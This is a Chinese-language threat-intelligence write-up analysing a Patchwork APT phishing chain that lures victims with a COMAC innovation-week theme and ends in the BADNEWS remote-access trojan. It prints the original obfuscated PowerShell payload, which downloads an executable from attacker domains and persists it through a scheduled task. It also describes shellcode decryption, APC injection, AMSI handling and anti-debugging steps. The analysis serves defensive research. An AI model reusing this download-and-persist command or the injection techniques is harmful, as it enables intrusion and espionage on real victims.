APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

APT 3周前 admin
206 0 0
首发地址:先知社区,https://xz.aliyun.com/t/15376
首发作者:qianlan

一、前言

本次样本于日常威胁狩猎工作中发现,样本利用“中国商用飞机有限责任公司等单位主办的第七届COMAC国际科技创新周”主题进行钓鱼攻击,经样本同源分析归属于APT组织Patchwork。

如下主题文件用于迷惑用户打开了合法文档,链路释放、执行恶意程序,最终释放Patchwork主战WINDOWS远控木马BADNEWS,控制受害目标。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击此篇分析投递释放链路,下一篇将记录分析BADNEWS本体。

相较于以往的链路释放技战术,此次样本开发者在主机、通信特征隐藏、符号去除等免杀、反调试环节做了诸多努力,BADNEWS本体相较于2023年5月曝光版本也有了不小的修改。

二、背景

不同厂商对疑似相同目标组织命名不同,如摩诃草(360安全)、别名白象(安天)、Patchwork(Cymmetria)、APT-Q-36(奇安信)等。有间接证据表明白象组织为印度实体,其攻击目标所涉及的国家和地区分布广泛,除了中国和巴基斯坦等主要目标,还包括以色列、日本、中东、英国、美国、韩国以及中东和东南亚地区。以鱼叉式攻击为主,针对目标国家的航空、国防、能源、金融、政府、IT、媒体、非政府组织、制药、智库进行网络间谍活动,窃取敏感信息。

样本分析

第一阶段,快捷方式下载后续载荷

快捷方式文件“COMAC_Technology_Innovation”,其中包含恶意的”目标“指向恶意载荷。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击载荷通过PowerShell下载文件、执行文件、创建计划任务等。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

详细功能如下。

  • 设置 $ProgressPreference 为 ‘SilentlyContinue’,执行下载或其他操作时不显示进度信息,做行为隐藏。

  • 调用Invoke-WebRequest(iwr)下载用于迷惑用户的中文主题PDF文件,并调用Start-Process(saps)启动。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击
  • 调用Invoke-WebRequest(iwr)下载文件并保存为C:UsersPublicsam,并且重命名为Update.exe。
  • 创建计划任务TaskReportingUpdate,每分钟执行一次Update.exe。
APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击
  • 痕迹清理

原始恶意载荷如下。

C:WindowsSystem32conhost.exe%......WindowsSystem32conhost.exe?
powershell$ProgressPreference='SilentlyContinue';
i''w''rhttps://xingyu.ghshijie.com/cvbcolo09/tqerwer8-OutFileC:\\Users\\Public\\COMAC_Technology_Innovation.pdf;
s''a''p''sC:\\Users\\Public\\COMAC_Technology_Innovation.pdf;
i''w''rhttps://Yuxuan.ghshijie.com/jlytw07sev/fuol91mv-OutFileC:\\Users\\Public\\sam;
r''e''n-PathC:\\Users\\Public\\sam-NewNameC:\\Users\\Public\\Update.exe;
c''p''iC:\\Users\\Public\\COMAC_Technology_Innovation.pdf-destination.;
s''c''h''ta''s''k''s/c''r''e''a''t''e/S''cminute/T''nTaskReportingUpdate/t''r"C:\\Users\\Public\\Update";
e''r''a''s''e*?f.?n?<C:ProgramFiles(x86)MicrosoftEdgeApplicationmsedge.exe

下载载荷”Update.exe”如下,为RUST语言编译控制台程序。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

第二阶段,解密执行硬编码在样本中的shllcode

3.2.1 回调函数

调试样本”Update.exe”,存在TLS回调函数,判断TLS函数被调用的原因,判断参数a2,回调函数仅在当线程退出(dwReason=0)或当前模块被卸载(dwReason=3)时被调用。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击线程创建或所在模块被加载时回调函数无具体函数功能执行,回调函数不存在反调试功能。

3.2.2 初始化

将硬编码在样本中的字符“main”经过宽字符处理和后,设置为当前线程描述性字符串。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

功能函数地址以参数形式在主函数导入,在后续被调用。APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

调用FreeConsole,释放控制台窗口,做窗口隐藏。APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

3.2.3 shellcode解密

样本硬编码字符数组”aAm2uiegdx3lrye“,长度0x5EA80,以base64编码存储作为密文载荷。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击做base64解码,结果存储于指针数组中。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

解密模块的代码中包含了部分rust框架代码,关联到了些部分的项目里包含着一些类似的解密算法,可能还是对rust不熟悉,最终未能明确解密算法。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击解密shellocde代码如下。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

3.2.4 shellcode加载入内存

在完成解密获取到明文shellcode后,通过一系列内核函数通过异步过程调用加载。

  • 调用NtAllocateVirtualMemory在目标进程中分配可执行内存。
  • 调用NtWriteVirtualMemory 将shellcode写入内存。
  • 调用NtQueueApcThread将shellcode插入到当前线程的异步过程调用队列(APC)中,准备执行,最终调用NtTestAlert触发shellcode执行。
APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

第三阶段,shllcode执行,释放并调用去除特征的PE内存段

3.3.1 涉及WINAPI函数地址获取

步入样本功能函数,对所需WIN API定位和异或解密,密文硬编码于shellcode载荷中。解密函数实现类似GetProcAddress的功能,获取api函数地址。

样本遍历当前进程的dll表,遍历dll列表,异或解密获取函数名,从PE头导出表获取函数地址,通过循环右移、异或的方式计算hash与预期结果比对,做函数校验。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击
  • 解析导出表:从 DLL 的 PE 头中获取导出表地址。
  • 解密函数名:解密处理目标函数名。
  • 比对函数名:遍历导出表,解密每个函数的名称并与目标函数名进行比对。
  • 返回地址:如果找到匹配的函数,返回其地址。
  • 对解密做校验。
APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

值得注意的是样本解密了初始了反恶意软件扫描接口 (AMSI) 的相关函数,amsi.AmsiScanString、amsi.AmsiScanString。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

3.3.2 字符解密

异或解密相关字符,密文均硬编码于shellcode载荷中。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

3.3.3 校验

样本利用与win API校验相同的思路,通过循环右移、异或等方式计算一段内存(shellocde、字符等)的hash值,与预期结果相比对。

若调试者插入断点,就会改变最终hash值,校验失败程序中断。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

3.3.4 拼接、加载最终远控载荷

加载手法如下。

  • 创建段对象:使用 NtCreateSection 创建一个内存段对象,指定大小和保护属性。
  • 映射视图:使用NtMapViewOfSection将段对象映射到进程的地址空间中,获取指向该内存区域的指针。
  • 写入代码:将第三阶段shellcode写入映射的内存区域。对目标内存区域多次写入,最终拼凑成完整的,隐藏PE头的第三阶段shellcode。

样本NtMapViewOfSection映射的地址空间中拼凑完整的PE文件,初次写入PE头。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

后续在0000018FC5650000~0000018FC5695FF0,0x0000045FF0长度约279.875 KB内存空间中,逐步复制入内存段,包括导入表、代码段、数据段等,最终复原完整PE文件。

对“.text”代码段定位并取出处理。

将两段PE载荷(解密内存段、新开辟内存两段)的前0x400内存(1024字节)地址覆盖为0x00。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

开发者精心构造了第四阶段PE远控载荷,隐藏了PE程序的[0x0:0x400] ,并且在不影响PE程序功能情况下隐藏了部分符号信息,包括PE头、载信息和入口点地址。每个节的详细信息和数据目录(如导入表、导出表等)的地址和大小等。

循环修改了相关资源段的内存属性,执行最远控载荷,直接跳过PE加载器并从入口点执行(0x18FC5662ED24)。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

入口点执行函数反汇编代码如下,通过汇编结构可以看出是Microsoft Visual Studio C++控制台程序入口,即BADNEWS远控木马本体。

APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

后续将继续记录分析BADNEWS远控样本本体。

谢谢师傅们的阅读~


原文始发于微信公众号(帅仔回忆录):APT组织Patchwork七月活动,利用“第七届COMAC国际科技创新周”主题进行钓鱼攻击

相关文章